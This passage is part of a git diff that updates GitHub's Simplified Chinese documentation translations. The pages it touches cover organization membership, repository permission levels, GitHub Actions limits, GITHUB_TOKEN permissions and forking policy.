-| [Resolve, revoke, or re-open {% data variables.product.prodname_secret_scanning %} alerts](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **X** |{% endif %}{% ifversion ghes = 3.0 %}
-| [View {% data variables.product.prodname_secret_scanning %} alerts in a repository](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | | | **X** |
-| [Resolve, revoke, or re-open {% data variables.product.prodname_secret_scanning %} alerts](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | | | **X** |{% endif %}{% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-| [Designate additional people or teams to receive {% data variables.product.prodname_secret_scanning %} alerts](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) in repositories | | | | | **X** |{% endif %}
-
-{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-[1] Repository writers and maintainers can only see alert information for their own commits.
+| 仓库操作                                                                                                                                                                                                            |  读取   |  分类   |                           写入                           |                           维护                           |                                                   管理员                                                   |
+|:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |:-----:|:-----:|:------------------------------------------------------:|:------------------------------------------------------:|:-------------------------------------------------------------------------------------------------------:|
+| {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}                                                                                                                                                          |       |       |                                                        |                                                        |                                                                                                         |
+| 接收仓库中[易受攻击的依赖项的 {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)                                                       |       |       |                                                        |                                                        |                                                  **X**                                                  |
+| [忽略 {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository)                                            |       |       |                                                        |                                                        | **X** |{% endif %}{% ifversion ghes or ghae-issue-4864 or ghec %}<!--Not available for FPT-->
+|
+| [指定其他人员或团队接收安全警报](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)                                                            |       |       |                                                        |                                                        |                              **X** |{% endif %}{% ifversion fpt or ghec %}
+| 创建[安全通告](/code-security/security-advisories/about-github-security-advisories)                                                                                                                                   |       |       |                                                        |                                                        |      **X** |{% endif %}{% ifversion ghes or ghae or ghec %} <!--Not available for FPT-->
+|
+| 管理 {% data variables.product.prodname_GH_advanced_security %} 功能的访问权限（请参阅“[管理组织的安全和分析设置](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)”）     |       |       |                                                        |                                                        |    **X** |{% endif %}{% ifversion fpt or ghec %}<!--Set at site-level for GHES and GHAE-->
+|
+| 为私有仓库[启用依赖关系图](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository)                                                                                                                 |       |       |                                                        |                                                        |                 **X** |{% endif %}{% ifversion ghes > 3.1 or ghae-issue-4864 or ghec %}
+| [查看依赖项审查](/code-security/supply-chain-security/about-dependency-review)                                                                                                                                         | **X** | **X** |                         **X**                          |                         **X**                          |                                           **X** 
+{% endif %}
+| [查看拉取请求上的 {% data variables.product.prodname_code_scanning %} 警报](/github/finding-security-vulnerabilities-and-errors-in-your-code/triaging-code-scanning-alerts-in-pull-requests)                            | **X** | **X** |                         **X**                          |                         **X**                          |                                                  **X**                                                  |
+| [列出、忽略和删除 {% data variables.product.prodname_code_scanning %} 警报](/github/finding-security-vulnerabilities-and-errors-in-your-code/managing-code-scanning-alerts-for-your-repository)                         |       |       |                         **X**                          |                         **X**                          |                        **X** |{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
+| [查看仓库中的 {% data variables.product.prodname_secret_scanning %} 警报](/github/administering-a-repository/managing-alerts-from-secret-scanning)                                                                    |       |       | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} |   **X** |{% endif %}{% ifversion ghes > 3.0 or ghae or ghec %}<!--Not available for FPT-->
+|
+| [解决、撤销或重新打开 {% data variables.product.prodname_secret_scanning %} 警报](/github/administering-a-repository/managing-alerts-from-secret-scanning)                                                                |       |       | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} | **X**{% ifversion not ghae %}<sup>[1]</sup>{% endif %} |                              **X** |{% endif %}{% ifversion ghes = 3.0 %}
+| [查看仓库中的 {% data variables.product.prodname_secret_scanning %} 警报](/github/administering-a-repository/managing-alerts-from-secret-scanning)                                                                    |       |       |                                                        |                                                        |                                                  **X**                                                  |
+| [解决、撤销或重新打开 {% data variables.product.prodname_secret_scanning %} 警报](/github/administering-a-repository/managing-alerts-from-secret-scanning)                                                                |       |       |                                                        |                                                        |                    **X** |{% endif %}{% ifversion ghes or ghae-issue-4864 or ghec %}
+| [指定其他人员或团队接收仓库中的 {% data variables.product.prodname_secret_scanning %} 警报](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) |       |       |                                                        |                                                        |                                           **X** 
 {% endif %}
 
-## Further reading
+{% ifversion fpt or ghes > 3.0 or ghae or ghec %}
+[1] 仓库作者和维护者只能看到他们自己提交的警报信息。
+{% endif %}
 
-- "[Managing access to your organization's repositories](/articles/managing-access-to-your-organization-s-repositories)"
-- "[Adding outside collaborators to repositories in your organization](/articles/adding-outside-collaborators-to-repositories-in-your-organization)"
-- "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)"
+## 延伸阅读
+
+- “[管理对组织仓库的访问](/articles/managing-access-to-your-organization-s-repositories)”
+- “[将外部协作者添加到组织中的仓库](/articles/adding-outside-collaborators-to-repositories-in-your-organization)”
+- "[组织的项目板权限](/articles/project-board-permissions-for-an-organization)"
diff --git a/translations/zh-CN/content/organizations/managing-git-access-to-your-organizations-repositories/index.md b/translations/zh-CN/content/organizations/managing-git-access-to-your-organizations-repositories/index.md
index ddff241ba3..1a0403c6d4 100644
--- a/translations/zh-CN/content/organizations/managing-git-access-to-your-organizations-repositories/index.md
+++ b/translations/zh-CN/content/organizations/managing-git-access-to-your-organizations-repositories/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing Git access to your organization's repositories
-intro: You can add an SSH certificate authority (CA) to your organization and allow members to access the organization's repositories over Git using keys signed by the SSH CA.
+title: 管理对组织仓库的 Git 访问
+intro: 您可以将 SSH 证书颁发机构 (CA) 添加到组织，并允许成员使用 SSH CA 签名的密钥通过 Git 访问组织的仓库。
 product: '{% data reusables.gated-features.ssh-certificate-authorities %}'
 redirect_from:
   - /articles/managing-git-access-to-your-organizations-repositories-using-ssh-certificate-authorities
@@ -17,6 +17,6 @@ topics:
 children:
   - /about-ssh-certificate-authorities
   - /managing-your-organizations-ssh-certificate-authorities
-shortTitle: Manage Git access
+shortTitle: 管理 Git 权限
 ---
 
diff --git a/translations/zh-CN/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md b/translations/zh-CN/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md
index fcbc84c3ef..8f4b03ec75 100644
--- a/translations/zh-CN/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md
+++ b/translations/zh-CN/content/organizations/managing-membership-in-your-organization/can-i-create-accounts-for-people-in-my-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Can I create accounts for people in my organization?
-intro: 'While you can add users to an organization you''ve created, you can''t create personal user accounts on behalf of another person.'
+title: 我可以为组织中的人员创建帐户吗？
+intro: 虽然您可以将用户添加到您创建的组织，但您无法代表其他人创建其个人用户帐户。
 redirect_from:
   - /articles/can-i-create-accounts-for-those-in-my-organization
   - /articles/can-i-create-accounts-for-people-in-my-organization
@@ -11,12 +11,12 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Create accounts for people
+shortTitle: 为人员创建帐户
 ---
 
-## About user accounts
+## 关于用户帐户
 
-Because you access an organization by logging in to a user account, each of your team members needs to create their own user account. After you have usernames for each person you'd like to add to your organization, you can add the users to teams.
+由于访问组织需要登录用户帐户，因此每个团队成员都需要创建自己的用户帐户。 在有了要添加到组织的每个人的用户名后，就可以将用户添加到团队。
 
 {% ifversion fpt or ghec %}
 {% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %}{% else %}You{% endif %} can use SAML single sign-on to centrally manage the access that user accounts have to the organization's resources through an identity provider (IdP). For more information, see "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
@@ -24,8 +24,8 @@ Because you access an organization by logging in to a user account, each of your
 You can also consider {% data variables.product.prodname_emus %}. {% data reusables.enterprise-accounts.emu-short-summary %}
 {% endif %}
 
-## Adding users to your organization
+## 将用户添加到您的组织
 
-1. Provide each person instructions to [create a user account](/articles/signing-up-for-a-new-github-account).
-2. Ask for the username of each person you want to give organization membership to.
-3. [Invite the new personal accounts to join](/articles/inviting-users-to-join-your-organization) your organization. Use [organization roles](/articles/permission-levels-for-an-organization) and [repository permissions](/articles/repository-permission-levels-for-an-organization) to limit the access of each account.
+1. 向每个人提供关于[创建用户帐户](/articles/signing-up-for-a-new-github-account)的说明。
+2. 获取要赋予其组织成员资格的每个人的用户名。
+3. [邀请新个人帐户加入](/articles/inviting-users-to-join-your-organization)您的组织。 使用[组织角色](/articles/permission-levels-for-an-organization)和[仓库权限](/articles/repository-permission-levels-for-an-organization)限制每个帐户的访问权限。
diff --git a/translations/zh-CN/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md b/translations/zh-CN/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md
index 0dede7c16e..56777218de 100644
--- a/translations/zh-CN/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md
+++ b/translations/zh-CN/content/organizations/managing-membership-in-your-organization/exporting-member-information-for-your-organization.md
@@ -13,7 +13,14 @@ topics:
 shortTitle: Export member information
 ---
 
-You can export information about members in your organization. This is useful if you want to perform an audit of users within the organization. The exported information includes username and display name details, and whether the membership is public or private.
+You can export information about members in your organization. This is useful if you want to perform an audit of users within the organization.
+
+The exported information includes:
+- Username and display name details
+- Whether the user has two-factor authentication enabled
+- Whether the membership is public or private
+- Whether the user is an organization owner or member
+- Datetime of the user's last activity (for a full list of relevant activity, see "[Managing dormant users](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users)")
 
 You can get member information directly from the {% data variables.product.product_name %} user interface, or using APIs. This article explains how to obtain member information from within {% data variables.product.product_name %}.
 
diff --git a/translations/zh-CN/content/organizations/managing-membership-in-your-organization/index.md b/translations/zh-CN/content/organizations/managing-membership-in-your-organization/index.md
index 1216f530f7..0b1a177d8e 100644
--- a/translations/zh-CN/content/organizations/managing-membership-in-your-organization/index.md
+++ b/translations/zh-CN/content/organizations/managing-membership-in-your-organization/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing membership in your organization
-intro: 'After you create your organization, you can {% ifversion fpt %}invite people to become{% else %}add people as{% endif %} members of the organization. You can also remove members of the organization, and reinstate former members.'
+title: 管理组织中的成员资格
+intro: '在创建组织后，您可以{% ifversion fpt %}邀请人员成为{% else %}添加人员为{% endif %}组织的成员。 您也可以删除组织的成员，以及恢复前成员。'
 redirect_from:
   - /articles/removing-a-user-from-your-organization
   - /articles/managing-membership-in-your-organization
@@ -21,6 +21,7 @@ children:
   - /reinstating-a-former-member-of-your-organization
   - /exporting-member-information-for-your-organization
   - /can-i-create-accounts-for-people-in-my-organization
-shortTitle: Manage membership
+shortTitle: 管理会员资格
 ---
+
 <!-- else -->
diff --git a/translations/zh-CN/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md b/translations/zh-CN/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md
index 31b090c1f3..f345e1a3c4 100644
--- a/translations/zh-CN/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md
+++ b/translations/zh-CN/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md
@@ -1,5 +1,5 @@
 ---
-title: Inviting users to join your organization
+title: 邀请用户参加您的组织
 intro: 'You can invite anyone to become a member of your organization using their username or email address for {% data variables.product.product_location %}.'
 permissions: Organization owners can invite users to join an organization.
 redirect_from:
@@ -12,16 +12,16 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Invite users to join
+shortTitle: 邀请用户加入
 ---
 
 ## About organization invitations
 
-If your organization has a paid per-user subscription, an unused license must be available before you can invite a new member to join the organization or reinstate a former organization member. For more information, see "[About per-user pricing](/articles/about-per-user-pricing)." 
+如果您的组织采用付费的每用户订阅，则必须有未使用的许可才可邀请新成员加入组织或恢复前组织成员。 更多信息请参阅“[关于每用户定价](/articles/about-per-user-pricing)”。
 
 {% data reusables.organizations.org-invite-scim %}
 
-If your organization requires members to use two-factor authentication, users that you invite must enable two-factor authentication before accepting the invitation. For more information, see "[Requiring two-factor authentication in your organization](/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization)" and "[Securing your account with two-factor authentication (2FA)](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)."
+如果您的组织要求成员使用双重身份验证，则您邀请的用户在接受邀请之前必须启用双重身份验证。 更多信息请参阅“[在组织中要求双重身份验证](/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization)”和“[使用双重身份验证 (2FA) 保护您的帐户](/github/authenticating-to-github/securing-your-account-with-two-factor-authentication-2fa)”。
 
 {% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %}{% else %}You{% endif %} can implement SCIM to add, manage, and remove organization members' access to {% data variables.product.prodname_dotcom_the_website %} through an identity provider (IdP). For more information, see "[About SCIM](/enterprise-cloud@latest/organizations/managing-saml-single-sign-on-for-your-organization/about-scim){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
 
@@ -38,5 +38,5 @@ If your organization requires members to use two-factor authentication, users th
 {% data reusables.organizations.send-invitation %}
 {% data reusables.organizations.user_must_accept_invite_email %} {% data reusables.organizations.cancel_org_invite %}
 
-## Further reading
-- "[Adding organization members to a team](/articles/adding-organization-members-to-a-team)"
+## 延伸阅读
+- "[向团队添加组织成员](/articles/adding-organization-members-to-a-team)"
diff --git a/translations/zh-CN/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md b/translations/zh-CN/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md
index 160e49af6a..9a4eed8780 100644
--- a/translations/zh-CN/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md
+++ b/translations/zh-CN/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Removing a member from your organization
-intro: 'If members of your organization no longer require access to any repositories owned by the organization, you can remove them from the organization.'
+title: 从组织中删除成员
+intro: 如果组织的成员不再需要访问组织拥有的任何仓库，则可以从组织中删除他们。
 redirect_from:
   - /articles/removing-a-member-from-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/removing-a-member-from-your-organization
@@ -12,22 +12,22 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Remove a member
+shortTitle: 删除成员
 ---
 
-Only organization owners can remove members from an organization.
+只有组织所有者才能从组织中删除成员。
 
 {% ifversion fpt or ghec %}
 
 {% warning %}
 
-**Warning:** When you remove members from an organization:
-- The paid license count does not automatically downgrade. To pay for fewer licenses after removing users from your organization, follow the steps in "[Downgrading your organization's paid seats](/articles/downgrading-your-organization-s-paid-seats)."
-- Removed members will lose access to private forks of your organization's private repositories, but they may still have local copies. However, they cannot sync local copies with your organization's repositories. Their private forks can be restored if the user is [reinstated as an organization member](/articles/reinstating-a-former-member-of-your-organization) within three months of being removed from the organization. Ultimately, you are responsible for ensuring that people who have lost access to a repository delete any confidential information or intellectual property.
+**警告：**当您从组织删除成员时：
+- 付费的许可数不会自动降级。 要在从组织中删除用户后减少付费的许可数，请按照“[降级组织的付费席位](/articles/downgrading-your-organization-s-paid-seats)”中的步骤操作。
+- 被删除的成员将无法访问组织私有仓库的私人复刻，但仍可拥有本地副本。 但是，它们无法将本地副本与组织的仓库同步。 如果用户在从组织中删除后的三个月内[恢复为组织成员](/articles/reinstating-a-former-member-of-your-organization)，则可以恢复其私人复刻。 最终，您负责确保无法访问仓库的人员删除任何机密信息或知识产权。
 {%- ifversion ghec %}
--  Removed members will also lose access to private forks of your organization's internal repositories, if the removed member is not a member of any other organization owned by the same enterprise account. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
+-  Removed members will also lose access to private forks of your organization's internal repositories, if the removed member is not a member of any other organization owned by the same enterprise account. 更多信息请参阅“[关于企业帐户](/admin/overview/about-enterprise-accounts)”。
 {%- endif %}
-- Any organization invitations sent by a removed member, that have not been accepted, are cancelled and will not be accessible.
+- 被删除成员发出的任何组织邀请，如果没有被接受，都会取消，且无法访问。
 
 {% endwarning %}
 
@@ -35,10 +35,10 @@ Only organization owners can remove members from an organization.
 
 {% warning %}
 
-**Warning:** When you remove members from an organization:
- - Removed members will lose access to private forks of your organization's private repositories, but may still have local copies. However, they cannot sync local copies with your organization's repositories. Their private forks can be restored if the user is [reinstated as an organization member](/articles/reinstating-a-former-member-of-your-organization) within three months of being removed from the organization. Ultimately, you are responsible for ensuring that people who have lost access to a repository delete any confidential information or intellectual property.
-- Removed members will also lose access to private forks of your organization's internal repositories, if the removed member is not a member of any other organization in your enterprise.
- - Any organization invitations sent by the removed user, that have not been accepted, are cancelled and will not be accessible.
+**警告：**当您从组织删除成员时：
+ - 被删除的成员将无法访问组织私有仓库的私人复刻，但仍可拥有本地副本。 但是，它们无法将本地副本与组织的仓库同步。 如果用户在从组织中删除后的三个月内[恢复为组织成员](/articles/reinstating-a-former-member-of-your-organization)，则可以恢复其私人复刻。 最终，您负责确保无法访问仓库的人员删除任何机密信息或知识产权。
+- 如果被删除成员不是企业中任何其他组织的成员，则被删除成员也将失去对组织内部仓库私人复刻的访问权限。
+ - 被删除用户发出的任何组织邀请，如果没有被接受，都会取消，且无法访问。
 
 {% endwarning %}
 
@@ -46,24 +46,21 @@ Only organization owners can remove members from an organization.
 
 {% ifversion fpt or ghec %}
 
-To help the person you're removing from your organization transition and help ensure they delete confidential information or intellectual property, we recommend sharing a checklist of best practices for leaving your organization. For an example, see "[Best practices for leaving your company](/articles/best-practices-for-leaving-your-company/)."
+为帮助您从组织中删除的人员过渡并帮助确保他们删除机密信息或知识产权，我们建议您共享一份离开组织的最佳实践检查列表。 例如，请参阅“[关于离开公司的最佳实践](/articles/best-practices-for-leaving-your-company/)”。
 
 {% endif %}
 
 {% data reusables.organizations.data_saved_for_reinstating_a_former_org_member %}
 
-## Revoking the user's membership
+## 撤销用户的成员身份
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.people %}
-4. Select the member or members you'd like to remove from the organization.
-  ![List of members with two members selected](/assets/images/help/teams/list-of-members-selected-bulk.png)
-5. Above the list of members, use the drop-down menu, and click **Remove from organization**.
-  ![Drop-down menu with option to remove members](/assets/images/help/teams/user-bulk-management-options.png)
-6. Review the member or members who will be removed from the organization, then click **Remove members**.
-  ![List of members who will be removed and Remove members button](/assets/images/help/teams/confirm-remove-members-bulk.png)
+4. 选择您想要从组织中删除的成员。 ![选择了两名成员的成员列表](/assets/images/help/teams/list-of-members-selected-bulk.png)
+5. 在成员列表上方，使用下拉菜单，然后单击 **Remove from organization（从组织中删除）**。 ![包含删除成员选项的下拉菜单](/assets/images/help/teams/user-bulk-management-options.png)
+6. 查看将从组织中删除的一个或多个成员，然后单击 **Remove members（删除成员）**。 ![将被删除的成员列表和删除成员按钮](/assets/images/help/teams/confirm-remove-members-bulk.png)
 
-## Further reading
+## 延伸阅读
 
-- "[Removing organization members from a team](/articles/removing-organization-members-from-a-team)"
+- “[从团队中删除组织成员](/articles/removing-organization-members-from-a-team)”
diff --git a/translations/zh-CN/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md b/translations/zh-CN/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md
index cb75888fda..3a4e6ed80e 100644
--- a/translations/zh-CN/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md
+++ b/translations/zh-CN/content/organizations/managing-organization-settings/changing-the-visibility-of-your-organizations-dependency-insights.md
@@ -16,7 +16,9 @@ shortTitle: 更改洞察可见性
 
 组织所有者可设置查看组织依赖项洞察图的限制。 默认情况下，组织的所有成员都可以查看组织依赖项洞察图。
 
-企业所有者可设置企业帐户中所有组织的查看组织依赖项洞察图限制。 更多信息请参阅“[在企业帐户中实施依赖项洞察的策略](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise)”。
+{% ifversion ghec %}
+企业所有者可设置企业帐户中所有组织的查看组织依赖项洞察图限制。 更多信息请参阅“[在企业帐户中实施依赖项洞察的策略](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise)”。
+{% endif %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
diff --git a/translations/zh-CN/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md b/translations/zh-CN/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md
index 753c2e3f39..447d4ccc7c 100644
--- a/translations/zh-CN/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md
+++ b/translations/zh-CN/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Disabling or limiting GitHub Actions for your organization
-intro: 'Organization owners can disable, enable, and limit GitHub Actions for an organization.'
+title: 禁用或限制组织的 GitHub Actions
+intro: 组织所有者可禁用、启用和限制组织的 GitHub Actions。
 redirect_from:
   - /github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization
 versions:
@@ -11,60 +11,59 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Disable or limit actions
+shortTitle: 禁用或限制操作
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About {% data variables.product.prodname_actions %} permissions for your organization
+## 关于组织的 {% data variables.product.prodname_actions %} 权限
 
-{% data reusables.github-actions.disabling-github-actions %} For more information about {% data variables.product.prodname_actions %}, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)."
+{% data reusables.github-actions.disabling-github-actions %} 有关 {% data variables.product.prodname_actions %} 的更多信息，请参阅“[关于 {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)”。
 
-You can enable {% data variables.product.prodname_actions %} for all repositories in your organization. {% data reusables.github-actions.enabled-actions-description %} You can disable {% data variables.product.prodname_actions %} for all repositories in your organization. {% data reusables.github-actions.disabled-actions-description %}
+您可以对组织中的所有仓库启用 {% data variables.product.prodname_actions %}。 {% data reusables.github-actions.enabled-actions-description %} 您可以对组织中的所有仓库禁用 {% data variables.product.prodname_actions %}。 {% data reusables.github-actions.disabled-actions-description %}
 
-Alternatively, you can enable {% data variables.product.prodname_actions %} for all repositories in your organization but limit the actions a workflow can run. {% data reusables.github-actions.enabled-local-github-actions %}
+此外，您可以对组织中的所有仓库启用 {% data variables.product.prodname_actions %}，但限制工作流程可以运行的操作。 {% data reusables.github-actions.enabled-local-github-actions %}
 
-## Managing {% data variables.product.prodname_actions %} permissions for your organization
+## 管理组织的 {% data variables.product.prodname_actions %} 权限
 
-You can disable all workflows for an organization or set a policy that configures which actions can be used in an organization.
+您可以禁用组织的所有工作流程，或者设置策略来配置哪些操作可用于组织中。
 
 {% data reusables.actions.actions-use-policy-settings %}
 
 {% note %}
 
-**Note:** You might not be able to manage these settings if your organization is managed by an enterprise that has overriding policy. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)."
+**注：**如果您的组织由具有覆盖策略的企业管理，您可能无法管理这些设置。 更多信息请参阅“[在企业中执行 {% data variables.product.prodname_actions %} 的策略](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)”。
 
 {% endnote %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.settings-sidebar-actions %}
-1. Under **Policies**, select an option.
-  ![Set actions policy for this organization](/assets/images/help/organizations/actions-policy.png)
-1. Click **Save**.
+1. 在 **Policies（策略）**下，选择一个选项。 ![设置此组织的操作策略](/assets/images/help/organizations/actions-policy.png)
+1. 单击 **Save（保存）**。
 
-## Allowing specific actions to run
+## 允许特定操作运行
 
 {% data reusables.actions.allow-specific-actions-intro %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.settings-sidebar-actions %}
-1. Under **Policies**, select **Allow select actions** and add your required actions to the list.
+1. 在 **Policies（策略）**下，选择 **Allow select actions（允许选择操作）**并将所需操作添加到列表中。
    {%- ifversion ghes > 3.0 %}
-   ![Add actions to allow list](/assets/images/help/organizations/actions-policy-allow-list.png)
+   ![添加操作到允许列表](/assets/images/help/organizations/actions-policy-allow-list.png)
    {%- else %}
-   ![Add actions to allow list](/assets/images/enterprise/github-ae/organizations/actions-policy-allow-list.png)
+   ![添加操作到允许列表](/assets/images/enterprise/github-ae/organizations/actions-policy-allow-list.png)
    {%- endif %}
-1. Click **Save**.
+1. 单击 **Save（保存）**。
 
 {% ifversion fpt or ghec %}
-## Configuring required approval for workflows from public forks
+## 配置公共复刻工作流程所需的批准
 
 {% data reusables.actions.workflow-run-approve-public-fork %}
 
-You can configure this behavior for an organization using the procedure below. Modifying this setting overrides the configuration set at the enterprise level.
+您可以使用以下程序为组织配置此行为。 修改此设置会覆盖企业级别的配置集。
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
@@ -75,11 +74,11 @@ You can configure this behavior for an organization using the procedure below. M
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
-## Enabling workflows for private repository forks
+## 为私有仓库复刻启用工作流程
 
 {% data reusables.github-actions.private-repository-forks-overview %}
 
-### Configuring the private fork policy for an organization
+### 为组织配置私有复刻策略
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
@@ -88,21 +87,20 @@ You can configure this behavior for an organization using the procedure below. M
 {% endif %}
 
 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-## Setting the permissions of the `GITHUB_TOKEN` for your organization
+## 为您的组织设置 `GITHUB_TOKENN` 的权限
 
 {% data reusables.github-actions.workflow-permissions-intro %}
 
-You can set the default permissions for the `GITHUB_TOKEN` in the settings for your organization or your repositories. If you choose the restricted option as the default in your organization settings, the same option is auto-selected in the settings for repositories within your organization, and the permissive option is disabled. If your organization belongs to a {% data variables.product.prodname_enterprise %} account and the more restricted default has been selected in the enterprise settings, you won't be able to choose the more permissive default in your organization settings.
+您可以在组织或仓库的设置中为 `GITHUB_TOKEN` 设置默认权限。 如果您在组织设置中选择受限制的选项为默认值，则在您的组织内仓库的设置中，自动选择相同的选项，允许选项也会被禁用。 如果您的组织属于 {% data variables.product.prodname_enterprise %} 帐户，并且在企业设置中选择了更受限制的默认值，则您将无法在组织设置中选择更宽松的默认值。
 
 {% data reusables.github-actions.workflow-permissions-modifying %}
 
-### Configuring the default `GITHUB_TOKEN` permissions
+### 配置默认 `GITHUB_TOKENN` 权限
 
 {% data reusables.profile.access_profile %}
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.settings-sidebar-actions %}
-1. Under **Workflow permissions**, choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope.
-  ![Set GITHUB_TOKEN permissions for this organization](/assets/images/help/settings/actions-workflow-permissions-organization.png)
-1. Click **Save** to apply the settings.
+1. 在 **Workflow permissions（工作流程权限）**下，选择您是否想要 `GITHUB_TOKENN` 读写所有范围限， 或者只读`内容`范围。 ![为此组织设置 GITHUB_TOKENN 权限](/assets/images/help/settings/actions-workflow-permissions-organization.png)
+1. 单击 **Save（保存）**以应用设置。
 {% endif %}
diff --git a/translations/zh-CN/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md b/translations/zh-CN/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md
index 841dca73ea..632584be9e 100644
--- a/translations/zh-CN/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md
+++ b/translations/zh-CN/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Managing the forking policy for your organization
-intro: 'You can allow or prevent the forking of any private{% ifversion ghes or ghae or ghec %} and internal{% endif %} repositories owned by your organization.'
+title: 管理组织的复刻政策
+intro: '您可以允许或阻止对组织拥有的任何私有{% ifversion ghes or ghae or ghec %} 和内部{% endif %} 仓库进行复刻。'
 redirect_from:
   - /articles/allowing-people-to-fork-private-repositories-in-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/allowing-people-to-fork-private-repositories-in-your-organization
@@ -14,25 +14,25 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage forking policy
+shortTitle: 管理复刻策略
 ---
 
-By default, new organizations are configured to disallow the forking of private{% ifversion ghes or ghec or ghae %} and internal{% endif %} repositories.
